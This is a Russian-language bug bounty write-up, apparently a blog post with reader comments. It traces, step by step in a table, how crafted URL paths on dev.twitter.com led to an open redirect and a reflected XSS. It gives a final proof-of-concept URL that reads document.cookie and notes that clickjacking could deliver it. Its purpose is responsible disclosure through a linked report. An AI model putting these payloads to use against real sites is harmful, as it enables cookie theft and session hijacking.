Разгребал логи скриптов для bugbounty и нашел интересное перенаправление на сайте dev.twitter.com
.
Изначально оно выглядело так https://dev.twitter.com//xxx/
В таблице представлены этапы раскрутки уязвимости.
Request | Location header | Link on page | Comment |
---|---|---|---|
//xxx/ |
http://dev.twitter.com/xxx |
xxx |
Entry point |
/http:site.com/ |
http://dev.twitter.com/site.com |
http:site.com |
|
/https:site.com/ |
https:site.com |
https:site.com |
http://dev.twitter.com - base URL. https: - protocol change, so the Location URLis absolute. |
/javascript:alert(1)/ |
javascript:alert(1) |
javascript:alert(1) |
XSS in the body. But redirect to javascript: will be blocked by the browser. |
/https:/%5cblackfan.ru/ |
https:/\blackfan.ru |
https:/\blackfan.ru |
Open Redirect |
/aa://bb/cc/ |
/aa://dev.twitter.com/cc |
cc |
Interesting. Let’s try to merge Open Redirect and XSS. |
/aa://bb/javascript:111/ |
/aa://dev.twitter.com/javascript:111 |
javascript:111 |
Very close |
/aa://bb/javascript:alert(1)/ |
javascript:alert(1) |
javascript:alert(1) |
WTF, Location header! |
/aa://bb/javascript:222/ |
/aa://dev.twitter.com/javascript:222 |
javascript:222 |
|
/aa://bb/javascript:xxx/ |
javascript:xxx |
javascript:xxx |
It looks like I can only use numbers (host:port ?) |
/aa://bb/!javascript:xxx/ |
/aa://dev.twitter.com/!javascript:xxx |
!javascript:xxx |
But if I put an invalid scheme, everything is fine. shazzer: Characters before javascript uri |
/aa://bb/%01javascript:xxx/ |
/aa://dev.twitter.com/█javascript:xxx |
█javascript:xxx |
Nice |
//aa:1//bb/%01javascript:xxx/ |
aa:1//bb/█javascript:xxx |
aa:1//bb/█javascript:xxx |
Oh,come on |
//aa:1/:///%01javascript:xxx/ |
//aa:1/://dev.twitter.com/█xxx |
█javascript:xxx |
And finally |
Итак, сформировав в Location заголовке ссылку с некорректным портом мне удалось заблокировать перенаправление в браузере FireFox (я уже использовал этот трюк в другой XSS на Facebook). А за счет разницы обработки Request-URI в теле ответа была сформирована JavaScript ссылка.
Финальный PoC:
https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/
Открываем и нажимаем ссылку. На сайте также не использовался заголовок X-Frame-Options, что можно было использовать для эксплуатации этой XSS через Clickjacking.
Результат: https://hackerone.com/reports/260744
Чётко !
ОтветитьУдалитьРовно, чётко, понятно!
ОтветитьУдалитьС чего ты начал пытаться сувать /aa: ? Вроде даже в fuzzdb такого нет!
ОтветитьУдалитьНу тут соль не в "/aa:". Просто смотрел, как обрабатывается строка попадающая в протокол и host:port результирующей ссылки.
ОтветитьУдалитьTo be honest, I can't understand it at all. What should I do?
ОтветитьУдалить